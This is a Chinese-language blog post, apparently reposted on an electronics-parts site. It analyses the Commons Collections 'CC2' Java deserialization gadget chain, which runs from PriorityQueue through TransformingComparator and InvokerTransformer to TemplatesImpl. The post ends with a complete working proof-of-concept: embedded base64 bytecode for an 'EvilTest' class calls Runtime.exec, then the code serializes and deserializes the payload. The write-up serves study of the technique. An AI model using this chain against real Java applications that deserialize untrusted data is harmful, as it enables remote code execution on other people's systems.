资讯详情

[Java反序列化]—CommonsCollections2

前言

在CommonsCollections4中通过InstantiateTransformer->TrAXFilter最后调用了方法,但这样会有数组问题,在shiro在应用中会受到一些影响,所以在CC2中就使用InvokerTransformer取代以前的数组部分是一种优化

 Gadget chain:   ObjectInputStream.readObject()    PriorityQueue.readObject()     ...      TransformingComparator.compare()       InvokerTransformer.transform()        Method.invoke()         Runtime.exec() 

分析

整条流程跟CC4差不多,简单分析一下不同的部分:

CC4:

Transformer[] transformers=new Transformer[]{       new ConstantTransformer(TrAXFilter.class),       new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);          priorityQueue.add(1); priorityQueue.add(0);          transformField.set(transformingComparator,chainedTransformer);  

CC2:

InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{ 
        },new Object[]{ 
        });  priorityQueue.add(templates); priorityQueue.add(2);  transformField.set(transformingComparator,invokerTransformer); 

回顾过程:

最后要通过InvokerTransformer.transform调用TemplatesImpl.newTransformer();

public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) { 
             super();     iMethodName = methodName;     iParamTypes = paramTypes != null ? paramTypes.clone() : null;     iArgs = args != null ? args.clone() : null;
}

 public O transform(final Object input) { 
        
        if (input == null) { 
        
            return null;
        }
        try { 
        
            final Class<?> cls = input.getClass();
            final Method method = cls.getMethod(iMethodName, iParamTypes);
            return (O) method.invoke(input, iArgs);
        } 

所以在实例化InvokerTransformer时,就需要给定方法名newTransformer,即构造:

InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

之后他要调用的是TemplatesImplnewTransformer方法,所以上边的transform的input参数就需要是TemplatesImpl,而往上看一下哪里调用的transform()

public int compare(final I obj1, final I obj2) { 
        
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

是在compare中调用的,而这两个obj的值,就是通过add方法传进去的,所以就有了

priorityQueue.add(templates);
priorityQueue.add(2);

之后就是就是反射这里了,之前用的是chainedTransformer,而这里我们改用了invokerTransformer方法,所以对应的也需要改一下

transformField.set(transformingComparator,invokerTransformer);

最终poc

package CommonsCollections2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;


import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;


import java.util.Base64;
import java.util.PriorityQueue;

public class cc2 { 
        

    public static void main(String[] args) throws Exception { 
        
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{ 
        bytes});

        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{ 
        },new Object[]{ 
        });


        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class c=transformingComparator.getClass();
        Field transformField=c.getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);
        unserialize("1.txt");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ 
        
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException { 
        
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ 
        
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

总结

感觉这部分前后联系挺大的,需要足够熟悉CC3和CC4。

标签: syw二极管

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台